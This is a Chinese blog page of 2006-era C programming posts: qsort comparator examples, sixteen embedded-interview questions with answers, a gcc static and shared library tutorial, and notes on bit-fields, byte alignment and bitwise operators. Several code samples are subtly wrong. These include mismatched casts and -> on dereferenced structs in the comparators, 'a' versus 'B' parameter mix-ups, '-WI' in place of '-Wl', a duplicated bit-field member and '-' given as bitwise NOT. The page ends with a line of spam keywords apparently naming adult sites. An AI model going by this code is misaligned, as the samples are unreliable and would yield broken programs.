?return done;
}

vprintf是printf的底層實現細節
加上宏定義就可以方便的實現開/關調試信息了。

posted @ 2006-10-17 11:28 井泉 閱讀(293) | 評論 (0)編輯 收藏

qsort函數應用大全 七種qsort排序方法

<本文中排序都是采用的從小到大排序>

一、對int類型數組排序

int num[100];

Sample:

int cmp ( const void *a , const void *b )
{
return *(int *)a - *(int *)b;
}

qsort(num,100,sizeof(num[0]),cmp);

二、對char類型數組排序(同int類型)

char word[100];

Sample:

int cmp( const void *a , const void *b )
{
return *(char *)a - *(int *)b;
}

qsort(word,100,sizeof(word[0]),cmp);

三、對double類型數組排序(特別要注意)

double in[100];

int cmp( const void *a , const void *b )
{
return *(double *)a > *(double *)b ? 1 : -1;
}

qsort(in,100,sizeof(in[0]),cmp);

四、對結構體一級排序

struct In
{
double data;
int other;
}s[100]

//按照data的值從小到大將結構體排序,關于結構體內的排序關鍵數據data的類型可以很多種,參考上面的例子寫

int cmp( const void *a ,const void *B)
{
return (*(In *)a)->data > (*(In *)B)->data ? 1 : -1;
}

qsort(s,100,sizeof(s[0]),cmp);

五、對結構體二級排序

struct In
{
int x;
int y;
}s[100];

//按照x從小到大排序,當x相等時按照y從大到小排序

int cmp( const void *a , const void *b )
{
struct In *c = (In *)a;
struct In *d = (In *)b;
if(c->x != d->x) return c->x - d->x;
else return d->y - c->y;
}

qsort(s,100,sizeof(s[0]),cmp);

六、對字符串進行排序

struct In
{
int data;
char str[100];
}s[100];

//按照結構體中字符串str的字典順序排序

int cmp ( const void *a , const void *b )
{
return strcmp( (*(In *)a)->str , (*(In *)B)->str );
}

qsort(s,100,sizeof(s[0]),cmp);

七、計算幾何中求凸包的cmp

int cmp(const void *a,const void *B) //重點cmp函數,把除了1點外的所有點,旋轉角度排序
{
struct point *c=(point *)a;
struct point *d=(point *)b;
if( calc(*c,*d,p[1]) < 0) return 1;
else if( !calc(*c,*d,p[1]) && dis(c->x,c->y,p[1].x,p[1].y) < dis(d->x,d->y,p[1].x,p[1].y)) //如果在一條直線上,則把遠的放在前面
return 1;
else return -1;
}

PS:

其中的qsort函數包含在<stdlib.h>的頭文件里,strcmp包含在<string.h>的頭文件里

posted @ 2006-08-29 11:58 井泉 閱讀(529) | 評論 (1)編輯 收藏

想成為嵌入式程序員應知道的0x10個基本問題

1 . 用預處理指令#define 聲明一個常數,用以表明1年中有多少秒(忽略閏年問題)
#define SECONDS_PER_YEAR (60 * 60 * 24 * 365)UL
我在這想看到幾件事情:
1) #define 語法的基本知識(例如:不能以分號結束,括號的使用,等等)
2)懂得預處理器將為你計算常數表達式的值,因此,直接寫出你是如何計算一年中有多少秒而不是計算出實際的值,是更清晰而沒有代價的。
3) 意識到這個表達式將使一個16位機的整型數溢出-因此要用到長整型符號L,告訴編譯器這個常數是的長整型數。
4) 如果你在你的表達式中用到UL(表示無符號長整型),那么你有了一個好的起點。記住,第一印象很重要。

2 . 寫一個"標準"宏MIN ,這個宏輸入兩個參數并返回較小的一個。
#define MIN(A,B) ((A) <= (B) ? (A) : (B)) 這個測試是為下面的目的而設的:
1) 標識#define在宏中應用的基本知識。這是很重要的。因為在 嵌入(inline)操作符 變為標準C的一部分之前,宏是方便產生嵌入代碼的唯一方法,對于嵌入式系統來說,為了能達到要求的性能,嵌入代碼經常是必須的方法。
2)三重條件操作符的知識。這個操作符存在C語言中的原因是它使得編譯器能產生比if-then-else更優化的代碼,了解這個用法是很重要的。
3) 懂得在宏中小心地把參數用括號括起來
4) 我也用這個問題開始討論宏的副作用,例如:當你寫下面的代碼時會發生什么事?
least = MIN(*p++, b);

3. 預處理器標識#error的目的是什么?
如果你不知道答案,請看參考文獻1。這問題對區分一個正常的伙計和一個書呆子是很有用的。只有書呆子才會讀C語言課本的附錄去找出象這種問題的答案。當然如果你不是在找一個書呆子,那么應試者最好希望自己不要知道答案。

死循環(Infinite loops)
4. 嵌入式系統中經常要用到無限循環,你怎么樣用C編寫死循環呢? 這個問題用幾個解決方案。
我首選的方案是:
while(1)
{

}
一些程序員更喜歡如下方案:
for(;;)
{

}
這個實現方式讓我為難,因為這個語法沒有確切表達到底怎么回事。如果一個應試者給出這個作為方案,我將用這個作為一個機會去探究他們這樣做的基本原理。如果他們的基本答案是:"我被教著這樣做,但從沒有想到過為什么。"這會給我留下一個壞印象。
第三個方案是用 goto
Loop:
...
goto Loop;
應試者如給出上面的方案,這說明或者他是一個匯編語言程序員(這也許是好事)或者他是一個想進入新領域的BASIC/FORTRAN程序員。

數據聲明(Data declarations)
5. 用變量a給出下面的定義
a) 一個整型數(An integer)
b)一個指向整型數的指針( A pointer to an integer)
c)一個指向指針的的指針,它指向的指針是指向一個整型數( A pointer to a pointer to an intege)r
d)一個有10個整型數的數組( An array of 10 integers)
e) 一個有10個指針的數組,該指針是指向一個整型數的。(An array of 10 pointers to
integers)
f) 一個指向有10個整型數數組的指針( A pointer to an array of 10 integers)
g) 一個指向函數的指針,該函數有一個整型參數并返回一個整型數(A pointer to a function
that takes an integer as an argument and returns an integer)
h) 一個有10個指針的數組,該指針指向一個函數,該函數有一個整型參數并返回一個整型數( An array of ten pointers to functions that take an integer argument and return an integer )
答案是:
a) int a; // An integer
b) int *a; // A pointer to an integer
c) int **a; // A pointer to a pointer to an integer
d) int a[10]; // An array of 10 integers
e) int *a[10]; // An array of 10 pointers to integers
f) int (*a)[10]; // A pointer to an array of 10 integers
g) int (*a)(int); // A pointer to a function a that
takes an integer argument and returns an integer
h) int (*a[10])(int); // An array of 10 pointers to
functions that take an integer argument and return an
integer
人們經常聲稱這里有幾個問題是那種要翻一下書才能回答的問題,我同意這種說法。當我寫這篇文章時,為了確定語法的正確性,我的確查了一下書。但是當我被面試的時候,我期望被問到這個問題(或者相近的問題)。因為在被面試的這段時間里,我確定我知道這個問題的答案。應試者如果不知道所有的答案(或至少大部分答案),那么也就沒有為這次面試做準備,如果該面試者沒有為這次面試做準備,那么他又能為什么出準備呢?

Static
6. 關鍵字static的作用是什么?
這個簡單的問題很少有人能回答完全。在C語言中,關鍵字static有三個明顯的作用:
1)在函數體,一個被聲明為靜態的變量在這一函數被調用過程中維持其值不變。
2) 在模塊內(但在函數體外),一個被聲明為靜態的變量可以被模塊內所用函數訪問,但不能被模塊外其它函數訪問。它是一個本地的全局變量。
3) 在模塊內,一個被聲明為靜態的函數只可被這一模塊內的其它函數調用。那就是,這個函數被限制在聲明它的模塊的本地范圍內使用。
大多數應試者能正確回答第一部分,一部分能正確回答第二部分,同是很少的人能懂得第三部分。這是一個應試者的嚴重的缺點,因為他顯然不懂得本地化數據和代碼范圍的好處和重要性。

Const
7.關鍵字const有什么含意?
我只要一聽到被面試者說:"const意味著常數",我就知道我正在和一個業余者打交道。去年Dan
Saks已經在他的文章里完全概括了const的所有用法,因此ESP(譯者:Embedded Systems
Programming)的每一位讀者應該非常熟悉const能做什么和不能做什么.如果你從沒有讀到那篇文章,只要能說出const意味著"只讀"就可以了。盡管這個答案不是完全的答案,但我接受它作為一個正確的答案。(如果你想知道更詳細的答案,仔細讀一下Saks的文章吧。)
如果應試者能正確回答這個問題,我將問他一個附加的問題:下面的聲明都是什么意思?
const int a;
int const a;
const int *a;
int * const a;
int const * a const;
/******/
前兩個的作用是一樣,a是一個常整型數。第三個意味著a是一個指向常整型數的指針(也就是,整型數是不可修改的,但指針可以)。第四個意思a是一個指向整型數的常指針(也就是說,指針指向的整型數是可以修改的,但指針是不可修改的)。最后一個意味著a是一個指向常整型數的常指針(也就是說,指針指向的整型數是不可修改的,同時指針也是不可修改的)。如果應試者能正確回答這些問題,那么他就給我留下了一個好印象。順帶提一句,也許你可能會問,即使不用關鍵字 ,也還是能很容易寫出功能正確的程序,那么我為什么還要如此看重關鍵字const呢?我也如下的幾下理由:
1) 關鍵字const的作用是為給讀你代碼的人傳達非常有用的信息,實際上,聲明一個參數為常量是為了告訴了用戶這個參數的應用目的。如果你曾花很多時間清理其它人留下的垃圾,你就會很快學會感謝這點多余的信息。(當然,懂得用const的程序員很少會留下的垃圾讓別人來清理的。)
2) 通過給優化器一些附加的信息,使用關鍵字const也許能產生更緊湊的代碼。
3) 合理地使用關鍵字const可以使編譯器很自然地保護那些不希望被改變的參數,防止其被無意的代碼修改。簡而言之,這樣可以減少bug的出現。

Volatile
8. 關鍵字volatile有什么含意?并給出三個不同的例子。
一個定義為volatile的變量是說這變量可能會被意想不到地改變,這樣,編譯器就不會去假設這個變量的值了。精確地說就是,優化器在用到這個變量時必須每次都小心地重新讀取這個變量的值,而不是使用保存在寄存器里的備份。下面是volatile變量的幾個例子:
1) 并行設備的硬件寄存器(如:狀態寄存器)
2) 一個中斷服務子程序中會訪問到的非自動變量(Non-automatic variables)
3) 多線程應用中被幾個任務共享的變量
回答不出這個問題的人是不會被雇傭的。我認為這是區分C程序員和嵌入式系統程序員的最基本的問題。搞嵌入式的家伙們經常同硬件、中斷、RTOS等等打交道,所有這些都要求用到volatile變量。不懂得volatile的內容將會帶來災難。 假設被面試者正確地回答了這是問題(嗯,懷疑是否會是這樣),我將稍微深究一下,看一下這家伙是不是直正懂得volatile完全的重要性。
1)一個參數既可以是const還可以是volatile嗎?解釋為什么。
2); 一個指針可以是volatile 嗎?解釋為什么。
3); 下面的函數有什么錯誤:
int square(volatile int *ptr)
{
return *ptr * *ptr;
}
下面是答案:
1)是的。一個例子是只讀的狀態寄存器。它是volatile因為它可能被意想不到地改變。它是const因為程序不應該試圖去修改它。
2); 是的。盡管這并不很常見。一個例子是當一個中服務子程序修該一個指向一個buffer的指針時。
3) 這段代碼有點變態。這段代碼的目的是用來返指針*ptr指向值的平方,但是,由于*ptr指向一個volatile型參數,編譯器將產生類似下面的代碼:
int square(volatile int *ptr)
{
int a,b;
a = *ptr;
b = *ptr;
return a * b;
}
由于*ptr的值可能被意想不到地該變,因此a和b可能是不同的。結果,這段代碼可能返不是你所期望的平方值!正確的代碼如下:
long square(volatile int *ptr)
{
int a;
a = *ptr;
return a * a;
}

位操作(Bit manipulation)
9. 嵌入式系統總是要用戶對變量或寄存器進行位操作。給定一個整型變量a,寫兩段代碼,第一個設置a的bit 3,第二個清除a 的bit 3。在以上兩個操作中,要保持其它位不變。 對這個問題有三種基本的反應
1)不知道如何下手。該被面者從沒做過任何嵌入式系統的工作。
2) 用bit fields。Bit fields是被扔到C語言死角的東西,它保證你的代碼在不同編譯器之間是不可移植的,同時也保證了的你的代碼是不可重用的。我最近不幸看到 Infineon為其較復雜的通信芯片寫的驅動程序,它用到了bit fields因此完全對我無用,因為我的編譯器用其它的方式來實現bit fields的。從道德講:永遠不要讓一個非嵌入式的家伙粘實際硬件的邊。
3) 用 #defines 和 bit masks 操作。這是一個有極高可移植性的方法,是應該被用到的方法。最佳的解決方案如下:
#define BIT3 (0x1 << 3)
static int a;
void set_bit3(void)
{
a |= BIT3;
}
void clear_bit3(void)
{
a &= ~BIT3;
}

一些人喜歡為設置和清除值而定義一個掩碼同時定義一些說明常數,這也是可以接受的。我希望看到幾個要點:說明常數、|=和&=~操作。

訪問固定的內存位置(Accessing fixed memory locations)
10. 嵌入式系統經常具有要求程序員去訪問某特定的內存位置的特點。
在某工程中,要求設置一絕對地址為0x67a9的整型變量的值為0xaa66。編譯器是一個純粹的ANSI編譯器。寫代碼去完成這一任務。這一問題測試你是否知道為了訪問一絕對地址把一個整型數強制轉換(typecast)為一指針是合法的。這一問題的實現方式隨著個人風格不同而不同。典型的類似代碼如下:
int *ptr;
ptr = (int *)0x67a9;
*ptr = 0xaa55;
A more obscure approach is: ( 一個較晦澀的方法是):
*(int * const)(0x67a9) = 0xaa55;
即使你的品味更接近第二種方案,但我建議你在面試時使用第一種方案。

中斷(Interrupts)
11.
中斷是嵌入式系統中重要的組成部分,這導致了很多編譯開發商提供一種擴展—讓標準C支持中斷。具代表事實是,產生了一個新的關鍵字 __interrupt。下面的代碼就使用了__interrupt關鍵字去定義了一個中斷服務子程序(ISR),請評論一下這段代碼的。
__interrupt double compute_area (double radius)
{
double area = PI * radius * radius;
printf("\nArea = %f", area);
return area;
}
這個函數有太多的錯誤了,以至讓人不知從何說起了:
1)ISR 不能返回一個值。如果你不懂這個,那么你不會被雇用的。
2) ISR 不能傳遞參數。如果你沒有看到這一點,你被雇用的機會等同第一項。
3) 在許多的處理器/編譯器中,浮點一般都是不可重入的。有些處理器/編譯器需要讓額處的寄存器入棧,有些處理器/編譯器就是不允許在ISR中做浮點運算。此外,ISR應該是短而有效率的,在ISR中做浮點運算是不明智的。
4) 與第三點一脈相承,printf()經常有重入和性能上的問題。如果你丟掉了第三和第四點,我不會太為難你的。不用說,如果你能得到后兩點,那么你的被雇用前景越來越光明了。

代碼例子(Code examples)
12 . 下面的代碼輸出是什么,為什么?
void foo(void)
{
unsigned int a = 6;
int b = -20;
(a+b > 6) ? puts("> 6") : puts("<= 6");
}
這個問題測試你是否懂得C語言中的整數自動轉換原則,我發現有些開發者懂得極少這些東西。不管如何,這無符號整型問題的答案是輸出是 ">6"。原因是當表達式中存在有符號類型和無符號類型時所有的操作數都自動轉換為無符號類型。因此-20變成了一個非常大的正整數,所以該表達式計算出的結果大于6。這一點對于應當頻繁用到無符號數據類型的嵌入式系統來說是豐常重要的。如果你答錯了這個問題,你也就到了得不到這份工作的邊緣。

13. 評價下面的代碼片斷:
unsigned int zero = 0;
unsigned int compzero = 0xFFFF;
/*1's complement of zero */
對于一個int型不是16位的處理器為說,上面的代碼是不正確的。應編寫如下:
unsigned int compzero = ~0;
這一問題真正能揭露出應試者是否懂得處理器字長的重要性。在我的經驗里,好的嵌入式程序員非常準確地明白硬件的細節和它的局限,然而PC機程序往往把硬件作為一個無法避免的煩惱。
到了這個階段,應試者或者完全垂頭喪氣了或者信心滿滿志在必得。如果顯然應試者不是很好,那么這個測試就在這里結束了。但如果顯然應試者做得不錯,那么我就扔出下面的追加問題,這些問題是比較難的,我想僅僅非常優秀的應試者能做得不錯。提出這些問題,我希望更多看到應試者應付問題的方法,而不是答案。不管如何,你就當是這個娛樂吧...

動態內存分配(Dynamic memory allocation)
14.
盡管不像非嵌入式計算機那么常見,嵌入式系統還是有從堆(heap)中動態分配內存的過程的。那么嵌入式系統中,動態分配內存可能發生的問題是什么?這里,我期望應試者能提到內存碎片,碎片收集的問題,變量的持行時間等等。這個主題已經在ESP雜志中被廣泛地討論過了(主要是 P.J. Plauger, 他的解釋遠遠超過我這里能提到的任何解釋),所有回過頭看一下這些雜志吧!讓應試者進入一種虛假的安全感覺后,我拿出這么一個小節目:下面的代碼片段的輸出是什么,為什么?
char *ptr;
if ((ptr = (char *)malloc(0)) == NULL)
puts("Got a null pointer");
else
puts("Got a valid pointer");
這是一個有趣的問題。最近在我的一個同事不經意把0值傳給了函數malloc,得到了一個合法的指針之后,我才想到這個問題。這就是上面的代碼,該代碼的輸出是"Got a valid pointer"。我用這個來開始討論這樣的一問題,看看被面試者是否想到庫例程這樣做是正確。得到正確的答案固然重要,但解決問題的方法和你做決定的基本原理更重要些。

Typedef
15 Typedef
在C語言中頻繁用以聲明一個已經存在的數據類型的同義字。也可以用預處理器做類似的事。例如,思考一下下面的例子:
#define dPS struct s *
typedef struct s * tPS;
以上兩種情況的意圖都是要定義dPS 和 tPS 作為一個指向結構s指針。哪種方法更好呢?(如果有的話)為什么?
這是一個非常微妙的問題,任何人答對這個問題(正當的原因)是應當被恭喜的。答案是:typedef更好。思考下面的例子:
dPS p1,p2;
tPS p3,p4;
第一個擴展為
struct s * p1, p2;
上面的代碼定義p1為一個指向結構的指,p2為一個實際的結構,這也許不是你想要的。第二個例子正確地定義了p3 和p4 兩個指針。

晦澀的語法
16 . C語言同意一些令人震驚的結構,下面的結構是合法的嗎,如果是它做些什么?
int a = 5, b = 7, c;
c = a+++b;
這個問題將做為這個測驗的一個愉快的結尾。不管你相不相信,上面的例子是完全合乎語法的。問題是編譯器如何處理它?水平不高的編譯作者實際上會爭論這個問題,根據最處理原則,編譯器應當能處理盡可能所有合法的用法。因此,上面的代碼被處理成:c = a++ + b;
因此, 這段代碼持行后a = 6, b = 7, c = 12。
如果你知道答案,或猜出正確答案,做得好。如果你不知道答案,我也不把這個當作問題。我發現這個問題的最大好處是這是一個關于代碼編寫風格,代碼的可讀性,代碼的可修改性的好的話題。

posted @ 2006-07-24 15:43 井泉 閱讀(297) | 評論 (0)編輯 收藏

使用和生成庫

基本概念

庫有動態與靜態兩種,動態通常用.so為后綴,靜態用.a為后綴。例如:libhello.so libhello.a

為了在同一系統中使用不同版本的庫,可以在庫文件名后加上版本號為后綴,例如: libhello.so.1.0,由于程序連接默認以.so為文件后綴名。所以為了使用這些庫,通常使用建立符號連接的方式。
ln -s libhello.so.1.0 libhello.so.1
ln -s libhello.so.1 libhello.so

使用庫

當要使用靜態的程序庫時,連接器會找出程序所需的函數,然后將它們拷貝到執行文件,由于這種拷貝是完整的,所以一旦連接成功,靜態程序庫也就不再需要了。然而,對動態庫而言,就不是這樣。動態庫會在執行程序內留下一個標記‘指明當程序執行時,首先必須載入這個庫。由于動態庫節省空間,linux下進行連接的缺省操作是首先連接動態庫,也就是說,如果同時存在靜態和動態庫,不特別指定的話,將與動態庫相連接。
現在假設有一個叫hello的程序開發包,它提供一個靜態庫libhello.a 一個動態庫libhello.so,一個頭文件hello.h,頭文件中提供sayhello()這個函數
/* hello.h */
void sayhello();
另外還有一些說明文檔。這一個典型的程序開發包結構
1.與動態庫連接
linux默認的就是與動態庫連接,下面這段程序testlib.c使用hello庫中的sayhello()函數

/*testlib.c*/
#include <hello.h>
#include <stdio.h>

int main()
{
sayhello();
return 0;
}

使用如下命令進行編譯
$gcc -c testlib.c -o testlib.o
用如下命令連接:
$gcc testlib.o -lhello -o testlib
在連接時要注意,假設libhello.o 和libhello.a都在缺省的庫搜索路徑下/usr/lib下,如果在其它位置要加上-L參數
與與靜態庫連接麻煩一些,主要是參數問題。還是上面的例子:
$gcc testlib.o -o testlib -WI,-Bstatic -lhello
注:這個特別的"-WI,-Bstatic"參數,實際上是傳給了連接器ld.
指示它與靜態庫連接,如果系統中只有靜態庫當然就不需要這個參數了。
如果要和多個庫相連接,而每個庫的連接方式不一樣,比如上面的程序既要和libhello進行靜態連接,又要和libbye進行動態連接,其命令應為:
$gcc testlib.o -o testlib -WI,-Bstatic -lhello -WI,-Bdynamic -lbye
3.動態庫的路徑問題
為了讓執行程序順利找到動態庫,有三種方法:
(1)把庫拷貝到/usr/lib和/lib目錄下。
(2)在LD_LIBRARY_PATH環境變量中加上庫所在路徑。例如動態庫libhello.so在/home/ting/lib目錄下,以bash為例,使用命令:
$export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/ting/lib
(3) 修改/etc/ld.so.conf文件,把庫所在的路徑加到文件末尾,并執行ldconfig刷新。這樣,加入的目錄下的所有庫文件都可見、
4.查看庫中的符號
有時候可能需要查看一個庫中到底有哪些函數,nm命令可以打印出庫中的涉及到的所有符號。庫既可以是靜態的也可以是動態的。nm列出的符號有很多,常見的有三種,一種是在庫中被調用,但并沒有在庫中定義(表明需要其他庫支持),用U表示;一種是庫中定義的函數,用T表示,這是最常見的;另外一種是所謂的“弱態”符號,它們雖然在庫中被定義,但是可能被其他庫中的同名符號覆蓋,用W表示。例如,假設開發者希望知道上央提到的hello庫中是否定義了printf():
$nm libhello.so |grep printf
U printf
U表示符號printf被引用,但是并沒有在函數內定義,由此可以推斷,要正常使用hello庫,必須有其它庫支持,再使用ldd命令查看hello依賴于哪些庫:
$ldd hello
libc.so.6=>/lib/libc.so.6(0x400la000)
/lib/ld-linux.so.2=>/lib/ld-linux.so.2 (0x40000000)
從上面的結果可以繼續查看printf最終在哪里被定義,有興趣可以go on


生成庫

第一步要把源代碼編繹成目標代碼。以下面的代碼為例,生成上面用到的hello庫:
/* hello.c */
#include <stdio.h>
void sayhello()
{
printf("hello,world\n");
}
用gcc編繹該文件,在編繹時可以使用任何全法的編繹參數,例如-g加入調試代碼等:
gcc -c hello.c -o hello.o

1.連接成靜態庫
連接成靜態庫使用ar命令,其實ar是archive的意思
$ar cqs libhello.a hello.o
2.連接成動態庫
生成動態庫用gcc來完成,由于可能存在多個版本,因此通常指定版本號:
$gcc -shared -Wl,-soname,libhello.so.1 -o libhello.so.1.0 hello.o
另外再建立兩個符號連接:
$ln -s libhello.so.1.0 libhello.so.1
$ln -s libhello.so.1 libhello.so
這樣一個libhello的動態連接庫就生成了。最重要的是傳gcc -shared 參數使其生成是動態庫而不是普通執行程序。
-Wl 表示后面的參數也就是-soname,libhello.so.1直接傳給連接器ld進行處理。實際上,每一個庫都有一個soname,當連接器發現它正在查找的程序庫中有這樣一個名稱,連接器便會將soname嵌入連結中的二進制文件內,而不是它正在運行的實際文件名,在程序執行期間,程序會查找擁有soname名字的文件,而不是庫的文件名,換句話說,soname是庫的區分標志。
這樣做的目的主要是允許系統中多個版本的庫文件共存,習慣上在命名庫文件的時候通常與soname相同
libxxxx.so.major.minor
其中,xxxx是庫的名字,major是主版本號,minor 是次版本號

posted @ 2006-07-24 15:04 井泉 閱讀(199) | 評論 (0)編輯 收藏

C語言的底層操作

概述
  C語言的內存模型基本上對應了現在von Neumann(馮·諾伊曼)計算機的實際存儲模型很好的達到了對機器的映射,這是C/C++適合做底層開發的主要原因,另外,C語言適合做底層開發還有另外一個原因,那就是C語言對底層操作做了很多的的支持,提供了很多比較底層的功能。
  下面結合問題分別進行闡述。
  問題:移位操作
  在運用移位操作符時,有兩個問題必須要清楚:
  (1)、在右移操作中,騰空位是填 0 還是符號位;
  (2)、什么數可以作移位的位數。
答案與分析:
  ">>"和"<<"是指將變量中的每一位向右或向左移動, 其通常形式為 :
  右移: 變量名>>移位的位數

  左移: 變量名<<移位的位數

  經過移位后, 一端的位被"擠掉",而另一端空出的位以0 填補,在C語言中的移位不是循環移動的。

  (1) 第一個問題的答案很簡單,但要根據不同的情況而定。如果被移位的是無符號數,則填 0 。如果是有符號數,那么可能填 0 或符號位。如果你想解決右移操作中騰空位的填充問題,就把變量聲明為無符號型,這樣騰空位會被置 0。

  (2) 第二個問題的答案也很簡單:如果移動 n 位,那么移位的位數要不小于 0 ,并且一定要小于 n 。這樣就不會在一次操作中把所有數據都移走。

  比如,如果整型數據占 32 位,n 是一整型數據,則 n << 31 和 n << 0 都合法,而 n << 32 和 n << -1 都不合法。

  注意即使騰空位填符號位,有符號整數的右移也不相當與除以。為了證明這一點,我們可以想一下 -1 >> 1 不可能為 0 。

  問題:位段結構

struct RPR_ATD_TLV_HEADER
{
ULONG res1:6;
ULONG type:10;
ULONG res1:6;
ULONG length:10;
};

  位段結構是一種特殊的結構, 在需按位訪問一個字節或字的多個位時, 位結構比按位運算符更加方便。

  位結構定義的一般形式為:

struct 位結構名 {
 數據類型 變量名: 整型常數
;
 數據類型 變量名: 整型常數
;
} 位結構變量;??

  其中: 整型常數必須是非負的整數, 范圍是0~15, 表示二進制位的個數, 即表示有多少位。

  變量名是選擇項, 可以不命名, 這樣規定是為了排列需要。

  例如: 下面定義了一個位結構。

struct{
 unsigned incon: 8; /*incon占用低字節的0~7共8位 */
 unsigned txcolor: 4;/*txcolor占用高字節的0~3位共4位
*/
 unsigned bgcolor: 3;/*bgcolor占用高字節的4~6位共3位
*/
 unsigned blink: 1; /*blink占用高字節的第7位
*/
}ch;??

  位結構成員的訪問與結構成員的訪問相同。

  例如: 訪問上例位結構中的bgcolor成員可寫成:

ch.bgcolor??

  位結構成員可以與其它結構成員一起使用。按位訪問與設置,方便&節省

  例如:

struct info{
  char name[8];
 
int age;
 
struct addr address;
 
float pay;
 
unsigned state: 1;
 
unsigned pay: 1;
}workers;'??

  上例的結構定義了關于一個工從的信息。其中有兩個位結構成員, 每個位結構成員只有一位, 因此只占一個字節但保存了兩個信息, 該字節中第一位表示工人的狀態, 第二位表示工資是否已發放。由此可見使用位結構可以節省存貯空間。

  注意不要超過值限制

  問題:字節對齊

  我在使用VC編程的過程中,有一次調用DLL中定義的結構時,發覺結構都亂掉了,完全不能讀取正確的值,后來發現這是因為DLL和調用程序使用的字節對齊選項不同,那么我想問一下,字節對齊究竟是怎么一回事?

  答案與分析:

  關于字節對齊:

  1、 當不同的結構使用不同的字節對齊定義時,可能導致它們之間交互變得很困難。

  2、 在跨CPU進行通信時,可以使用字節對齊來保證唯一性,諸如通訊協議、寫驅動程序時候寄存器的結構等。

  三種對齊方式:

  1、 自然對齊方式(Natural Alignment):與該數據類型的大小相等。

  2、 指定對齊方式 :

#pragma pack(8) // 指定Align為 8;
#pragma pack() // 恢復到原先值

  3、 實際對齊方式:

Actual Align = min ( Order Align, Natual Align )

  對于復雜數據類型(比如結構等):實際對齊方式是其成員最大的實際對齊方式:

Actual Align = max( Actual align1,2,3,…)

  編譯器的填充規律:

  1、 成員為成員Actual Align的整數倍,在前面加Padding。

  成員Actual Align = min( 結構Actual Align,設定對齊方式)

  2、 結構為結構Actual Align的整數倍,在后面加Padding.

  例子分析:

#pragma pack(8) // 指定Align為 8
struct STest1
{
char ch1;
long lo1;
char ch2;
} test1;
#pragma pack()

  現在

Align of STest1 = 4 , sizeof STest1 = 12 ( 4 * 3 )

  test1在內存中的排列如下( FF 為 padding ):

00 -- -- -- 04 -- -- -- 08 -- -- -- 12 -- -- --
01 FF FF FF 01 01 01 01 01 FF FF FF
ch1 -- lo1 -- ch2
#pragma pack(2) //
指定Align為 2
struct STest2
{
char ch3;
STest1 test;
} test2;
#pragma pack()

  現在 Align of STest1 = 2, Align of STest2 = 2 , sizeof STest2 = 14 ( 7 * 2 )

  test2在內存中的排列如下:

00 -- -- -- 04 -- -- -- 08 -- -- -- 12 -- -- --
02 FF 01 FF FF FF 01 01 01 01 01 FF FF FF
ch3 ch1 -- lo1 -- ch2

  注意事項:

  1、 這樣一來,編譯器無法為特定平臺做優化,如果效率非常重要,就盡量不要使用#pragma pack,如果必須使用,也最好僅在需要的地方進行設置。

  2、 需要加pack的地方一定要在定義結構的頭文件中加,不要依賴命令行選項,因為如果很多人使用該頭文件,并不是每個人都知道應該pack。這特別表現在為別人開發庫文件時,如果一個庫函數使用了struct作為其參數,當調用者與庫文件開發者使用不同的pack時,就會造成錯誤,而且該類錯誤很不好查。

  3、 在VC及BC提供的頭文件中,除了能正好對齊在四字節上的結構外,都加了pack,否則我們編的Windows程序哪一個也不會正常運行。

  4、 在 #pragma pack(n) 后一定不要include其他頭文件,若包含的頭文件中改變了align值,將產生非預期結果。

  5、 不要多人同時定義一個數據結構。這樣可以保證一致的pack值。

  問題:按位運算符

  C語言和其它高級語言不同的是它完全支持按位運算符。這與匯編語言的位操作有些相似。 C中按位運算符列出如下:

━━━━━━━━━━━━━━━━━━━━━━━━━━━━
操作符 作用
────────────────────────────
& 位邏輯與

| 位邏輯或

^ 位邏輯異或

- 位邏輯反

>> 右移

<< 左移

━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  注意:

  1、 按位運算是對字節或字中的實際位進行檢測、設置或移位, 它只適用于字符型和整數型變量以及它們的變體, 對其它數據類型不適用。

  2、 關系運算和邏輯運算表達式的結果只能是1或0。 而按位運算的結果可以取0或1以外的值。要注意區別按位運算符和邏輯運算符的不同, 例如, 若x=7, 則x&&8 的值為真(兩個非零值相與仍為非零), 而x&8的值為0。

  3、 | 與 ||,&與&&,~與! 的關系

  &、| 和 ~ 操作符把它們的操作數當作一個為序列,按位單獨進行操作。比如:10 & 12 = 8,這是因為"&"操作符把 10 和 12 當作二進制描述 1010 和 1100 ,所以只有當兩個操作數的相同位同時為 1 時,產生的結果中相應位才為 1 。同理,10 | 12 = 14 ( 1110 ),通過補碼運算,~10 = -11 ( 11...110101 )。<以多少為一個位序列> &&、|| 和!操作符把它們的操作數當作"真"或"假",并且用 0 代表"假",任何非 0 值被認為是"真"。它們返回 1 代表"真",0 代表"假",對于"&&"和"||"操作符,如果左側的操作數的值就可以決定表達式的值,它們根本就不去計算右側的操作數。所以,!10 是 0 ,因為 10 非 0 ;10 && 12 是 1 ,因為 10 和 12 均非 0 ;10 || 12也是 1 ,因為 10 非 0 。并且,在最后一個表達式中,12 根本就沒被計算,在表達式 10 || f( ) 中也是如此。

posted @ 2006-07-17 08:54 井泉 閱讀(285) | 評論 (0)編輯 收藏

僅列出標題
共8頁: 1 2 3 4 5 6 7 8 
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
